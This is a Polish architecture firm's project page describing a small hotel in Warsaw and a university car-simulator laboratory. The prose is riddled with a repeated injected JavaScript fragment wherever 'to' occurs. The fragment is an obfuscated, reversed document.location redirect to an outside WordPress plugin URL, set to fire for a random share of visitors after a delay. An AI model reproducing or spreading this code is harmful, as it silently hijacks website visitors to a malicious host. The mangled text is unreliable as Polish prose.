Architech » Budynki użyteczności publicznej

HOTEL, UL. WYCZÓŁKI W WARSZAWIE

[56]

INWESTOR: PRYWATNY

LOKALIZACJA: UL.WYCZÓŁKI, WARSZAWA

FAZA: PROJEKT BUDOWLANY

POW.UŻYTKOWA: 441,58m²

KUBATURA: 2024,64m ³

Budynek hotelowy na dwanaście „jednostek mieszkaniowych” z wydzieloną strefą wspólną. Projekt zakłada dwie kondygnacje z możliwością nadbudowy o jedno piętro i rozbudowy na działce. Układ konstrukcyjny oparty na słupach i stropach żelbetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych. Funkcjonalnie obiekt skomunikowano korytarzami z klatkami schodowymi na przeciwległych końcach.

Budynek zwieńczono dwuspadowym stropodachem wentylowanym do ew. rozbiórki. Formę cechuje prosta bryła z podziałami na elewacji wynikającymi z układu okien podkreślonego okładziną drewnopodobną.

Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towaliśmy na parterze przy wejściu głównym hall z otwartą recepcją i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toaletą. Drugie wejście dostępne dzięki rampie zapewnia komunikację z poziomu chodnika osobom na wózkach. Każdy pokój posiada własną łazienkę. Na parterze przygotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towano dla osób niepełnosprawnych jedną jednostkę hotelową. Ponadtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to obiekt sprzyjający kontaktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom ludzi w trakcie organizacji spotkań, ze wspólną przestrzenią gdzie można przygotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować i spożyć posiłek. W tym celu przewidzieliśmy salę samoobsługową z zapleczem kuchennym. Prezentacja.

LABORATORIUM PSYCHOLOGII TRANSPORTU, UL.WÓYCICKIEGO W WARSZAWIE

[57]

INWESTOR: UNIWERSYTET KARDYNAŁA S.WYSZYŃSKIEGO

LOKALIZACJA: UL.WÓYCICKIEGO, WARSZAWA

FAZA: PROJEKT BUDOWLANY

POW UŻYTKOWA: 106,34m²

KUBATURA: 694,50m ³

Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany przez nas obiekt Laboratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium Psychologii Transportu przeznaczony jest do prowadzenia badań na symulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torze samochodowym. W centralnej części laboratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium umieszczono na siłownikach nadwozie Opla Astra. Pojazd otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toczony jest cylindrycznym ekranem, na którym wyświetlany jest panoramiczny obraz. Konfiguracja ruchów i efektów wizualno- dźwiękowych toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towarzyszących kierowcy podczas rzeczywistej jazdy umożliwia symulowanie różnych systemów bezpieczeństwa i wspomagania kierownicy. Przy realizacji projektu współpracowaliśmy z Ośrodkiem Doradztwa i Usług Technicznych Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomex.